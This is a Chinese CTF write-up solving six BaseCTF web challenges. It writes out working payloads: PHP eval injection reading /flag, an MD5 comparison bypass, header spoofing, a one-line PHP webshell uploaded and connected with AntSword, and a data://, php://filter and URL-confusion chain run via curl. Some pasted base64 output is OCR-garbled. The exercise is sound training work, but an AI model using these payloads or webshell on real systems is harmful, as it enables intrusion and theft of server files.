

# web

web题目wp

张程思

## 一, 喵喵喵`•°•`

1,利用 system 函数执行 Shell 命令, 也可用使用 echo file\_get\_contents('/flag');



A screenshot of a web browser window. The title bar says "▲ 不安全 challenge.imxbt.cn:32369". The main content area shows the following PHP code:

```
<?php  
highlight_file(__FILE__);  
error_reporting(0);  
  
$a = $_GET['DT'];  
  
eval($a);  
  
?>
```

```
<?php  
highlight_file(__FILE__);  
error_reporting(0);  
  
$a = $_GET['DT'];  
  
eval($a);  
  
?> array(22) { [0]=> string(1) " " [1]=> string(2) " " [2]=> string(3) "bin" [3]=> string(4) "boot" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(4) "flag" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "lib64"  
[10]=> string(5) "media" [11]=> string(3) "mnt" [12]=> string(3) "opt" [13]=> string(4) "proc" [14]=> string(4) "root" [15]=> string(3) "run" [16]=> string(4) "sbin" [17]=> string(3) "srv" [18]=> string(3) "sys" [19]=> string(3)  
"tmp" [20]=> string(3) "usr" [21]=> string(3) "var" }
```

⚠ 不安全 challenge.imxbt.cn:30828/?DT=readfile(%27/flag%27);

```
<?php  
highlight_file(__FILE__);  
error_reporting(0);  
  
$a = $_GET['DT'];  
  
eval($a);
```

>? BaseCTF{b7ba4b8d-d175-4283-b040-6bea33f36f23}

## 二、MD5绕过款

1,构造payload发送 GET 参数URL 里的name 和name2和 POST 参数表单数据里的password和 password2

challenge.imxbt.cn:31793

```
<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';

if (isset($_GET['name']) && isset($_POST['password']) && isset($_GET['name2']) && isset($_POST['password2'])) {
    $name = $_GET['name'];
    $name2 = $_GET['name2'];
    $password = $_POST['password'];
    $password2 = $_POST['password2'];
    if ($name != $password || md5($name) == md5($password)) {
        if ($name2 != $password2 && md5($name2) == md5($password2)) {
            echo '$flag';
        } else {
            echo "再看啊，马上绕过嘲！";
        }
    } else {
        echo "错啦错啦";
    }
} else {
    echo '没看到参数啊';
}
?> 没看到参数呐
```

允许粘贴  
> fetch('http://challenge.imxbt.cn:31793/?name=QWKCZD0&name2[]&password[]', {  
 method: 'POST',  
 headers: {'Content-Type': 'application/x-www-form-urlencoded'},  
 body: 'password=240610708&password2[]&2'}).then(response=> response.text()).then(data => console.log(data));  
< Promise {pending}>  
(code)<span style="color: #000000">  
span style="color: #000000;&lt;br />highlight\_file</span><span style="color: #000000;&lt;br />\_FILE\_</span><span style="color: #000000;&lt;br />\$\_POST['password']</span><span style="color: #000000;&lt;br />\$\_POST['password2']</span><span style="color: #000000;&lt;br />if (\$name != \$password || md5(\$name) == md5(\$password)) {<br /> if (\$name2 != \$password2 && md5(\$name2) == md5(\$password2)) {<br /> echo '\$flag';<br /> } else {<br /> echo "再看啊，马上绕过嘲！";<br /> }<br />} else {<br /> echo "错啦错啦";<br />}<br />?> 没看到参数呐<br />

2,flag就在其中

BaseCTF{077b2fb2-791f-4124-9e60-e808f301c820}

# 三,HTTP 是什么呀

1,提示给的很多了,在bp里修改内容即可

看看你的 HTTP

项目	你需要传入	当前传入值	是否正确
GET 参数 <code>basectf</code>	we1c%00me		X (请注意 URL 转义)
POST 参数 <code>Base</code>	f@g		X
Cookie <code>c00k13</code>	i can't eat it		X
用户代理 (User-Agent)	Base	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0	X
来源 (Referer)	Base		X
你的 IP	127.0.0.1	10.10.235.192	X
一点小提示		给新手看看	

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn

1 × +

Send Cancel < > Follow redirection Burp AI Target: h

**Request**

Pretty	Raw	Hex
1 POST /?basectf=we1c%00me HTTP/1.1 2 Host: challenge.imxbt.cn:31666 3 Accept-Language: zh-CN,zh;q=0.9 4 Upgrade-Insecure-Requests: 1 5 User-Agent: Base 6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 7 Accept-Encoding: gzip, deflate, br 8 Connection: keep-alive 9 Cookie: c00k13=i can't eat it 10 Referer: Base 11 X-Forwarded-For: 127.0.0.1 12 Content-Type: application/x-www-form-urlencoded 13 Content-Length: 9 14 15 Base=f1Bg		

**Response**

Pretty	Raw	Hex	Render
1 HTTP/1.1 302 Found 2 Server: nginx/1.18.0 3 Date: Sun, 02 Nov 2025 15:12:28 GMT 4 Content-Type: text/html; charset=UTF-8 5 Connection: keep-alive 6 X-Powered-By: PHP/7.4.27 7 Location: success.php?flag=QmFzZUNURns32WYZNjY5ZC0yNDALTQ1MDAtYTU4ZiimMWJjMWN1NmUzNj19Cg= 8 Content-Length: 0 9 10			

## 2,base64解码就出来了

— base编码 —

base16、base32、base64

QmFzZUNURns3ZWY2NjY5ZC0vNDA0LTQ1MDAtYTU4Zj1mMWJjMWNlNmUzNj19Cg==

编码

字符集

编 码

解 码

BaseCTF{7ef6669d-2404-4500-a58f-f1bc1ce6e369}

## 四,Dark Room

## 1,直接在源代码中找到flag



The screenshot shows a browser window with a poem displayed. On the right side, there is a button labeled "Add Wood". Below the poem, the source code of the page is visible, including a script that writes "saved." to the page.

```
<link rel="stylesheet" type="text/css" href="css/space.css" />
<link rel="stylesheet" type="text/css" href="css/fabricator.css" />

<script src="script/localization.js"></script>

</head>
<body>
  <div id="wrapper">
    <div id="saveNotify"><script>document.write(_("saved."));</script></div>
    <div id="content">
      <div id="outerSlider">
        <div id="main">
          <div id="header"></div>
        </div>
      </div>
    </div>
  </div>
  <!-- FLAG: BaseCTF{4a36838a-a7ed-49f6-b93b-995ff456c4af} -->
</body>
</html>
```

## 五,upload

### 1,让上传文件,直接一句话木马,蚁剑连接地址出flag

```
<?php eval($_POST[0]);
```

```

<?php
error_reporting(0);
if (isset($_FILES['file'])) {
    highlight_file(__FILE__);
    $file = $_FILES['file'];
    $filename = $file['name'];
    $filetype = $file['type'];
    $filesize = $file['size'];
    $filetmp = $file['tmp_name'];
    $fileerror = $file['error'];

    if ($fileerror === 0) {
        $destination = 'uploads/' . $filename;
        move_uploaded_file($filetmp, $destination);
        echo 'File uploaded successfully';
    } else {
        echo 'Error uploading file';
    }
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>上传你喜欢的图片吧! </title>
</head>

<body>
    <form action="" method="post" enctype="multipart/form-data">
        <input type="file" name="file">
        <button type="submit">上传! </button>
    </form>
    <?php
    $files = scandir('uploads');
    foreach ($files as $file) {
        if ($file === '.' || $file === '..') {
            continue;
        }
        echo "<img src='uploads/$file' style='max-height: 200px;' />";
    }
    ?>
</body>

```

</html> File uploaded successfully



The screenshot shows the AntSword debugger interface. The title bar reads "中国蚁剑" and "AntSword 编辑 窗口 调试". A toolbar with icons for file operations is visible. The main window displays a stack dump for the address 119.188.240.24. The title bar of the dump window says "编辑: /flag". The dump itself shows two lines of memory:

```
1 BaseCTF{43eeeca2-8e4e-458f-bcc5-b956ab9d43d7}  
2
```

## 六, Aura 酱的礼物

1,对于第一个判断,可以尝试通过 data伪协议来进行读取

```
<?php
highlight_file(__FILE__);
// Aura 酱, 欢迎回家^
// 这里有一份礼物, 请你签收一下哟^
$pen = $_POST['pen'];
if (file_get_contents($pen) != 'Aura')
{
    die('这是 Aura 的礼物, 你不是 Aura!');
}

// 礼物收到啦, 接下来要去博客里面写下感想哦^
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') != 0)
{
    die('这不是 Aura 的博客!');
}

$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
    die('请去博客里面写下感想哦^');
}

// 嘿嘿, 接下来要拆开礼物啦, 悄悄告诉你, 礼物在 flag.php 里面哦^
$gift = $_POST['gift'];
include($gift); 这是 Aura 的礼物, 你不是 Aura!
```

2,第二个判断考察的是strpos和file\_get\_contents对 URL 解析的差异

3,最终include这里使用php://filter伪协议

4,最后将这几个构造的payload融合在一起,在cmd中用curl执行

```
C:\Users\zhang>curl -X POST -d "pen=data://text/plain,Aura" -d "challenge=http://jasmineaura.github.io@127.0.0.1" -d "gift=php://filter/convert.base64-encode/resource=flag.php" "http://challenge.imxbt.cn:31013"
<code><span style="color: #000000">
<br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">_FILE_-</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'pen'</span><span style="color: #0000BB">$pen&ampnbsp;</span><span style="color: #007700">=&ampnbsp</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">file_get_contents</span><span style="color: #007700">(</span><span style="color: #0000BB">$pen</span><span style="color: #007700">)&nbsp;!==&nbspc;</span><span style="color: #DD0000">'Aura'<br />&nbspc;&nbspc;&nbspc;&nbspc;die(</span><span style="color: #DD0000">'这是&nbspc;Aura&nbspc;的礼物，你不是&nbspc;Aura! '<br /></span><span style="color: #0000BB">$challenge&nbspc;</span><span style="color: #007700">=&ampnbsp</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'challenge'</span><span style="color: #0000BB">$challenge</span><span style="color: #007700">(</span><span style="color: #0000BB">http://jasmineaura.githib.io</span><span style="color: #007700">)&nbsp;!==&nbspc;</span><span style="color: #0000BB">0</span><span style="color: #0000BB">$blog_content&nbspc;</span><span style="color: #007700">=&ampnbsp</span><span style="color: #0000BB">file_get_contents</span><span style="color: #007700">(</span><span style="color: #0000BB">$challenge<br />&nbspc;&nbspc;&nbspc;&nbspc;die(</span><span style="color: #DD0000">'这不是&nbspc;Aura&nbspc;的博客！ '<br /></span><span style="color: #0000BB">$blog_content<br />&nbspc;</span><span style="color: #007700">strpos</span><span style="color: #0000BB">(</span><span style="color: #007700">(</span><span style="color: #0000BB">false</span><span style="color: #0000BB">)&nbsp;==&nbspc;</span><span style="color: #0000BB">false</span><span style="color: #0000BB">)&nbsp;='请去博客里面写下感想哦'</span><span style="color: #0000BB">false</span><span style="color: #FF8000">//&nbspc;嘿嘿，接下来要拆开礼物啦，悄悄告诉你，礼物在&nbspc;flag.php&nbspc;里面哦<br /></span><span style="color: #0000BB">$gift&nbspc;</span><span style="color: #007700">=&ampnbsp</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'gift'</span><span style="color: #0000BB">$gift</span><span style="color: #007700">);</span>
</code>PD9waHAgLy8gQmFzZUNURntjYTIyMzRhNS0wOGEwLTQ5ZGItYWU1NS1hZWZyY2YxODM3OGN9ICBBdXJhI0mFseaciealLv+WIos54g0ihg0WQl++8nwo=
C:\Users\zhang>
```

5,解码一下base64就出来了

base编码

base16、base32、base64

PD9waHAgLy8gQmFzZUNURntjYTiyMzRhNS0wOGewLTQ5ZGItYWU1NS1hZWEzY2YxODM3OGN9ICBBDxJhI0mfseacieaLv+WiSsQ4g0ihsqOWQ1++Snwo=

编码  字符集

**编 码** **解 码**

```
<?php // BaseCTF{ca2234a5-08a0-49db-ae55-aea3cf18378c} Aura 酱有拿到一血吗?
```